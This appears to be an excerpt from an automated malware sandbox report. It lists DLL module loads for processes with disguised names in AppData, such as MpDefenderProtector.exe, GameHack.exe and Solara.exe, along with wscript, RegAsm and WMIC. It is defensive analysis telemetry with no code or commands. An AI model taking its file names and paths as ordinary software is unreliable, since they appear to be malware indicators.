Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: taskschd.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: ktmw32.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
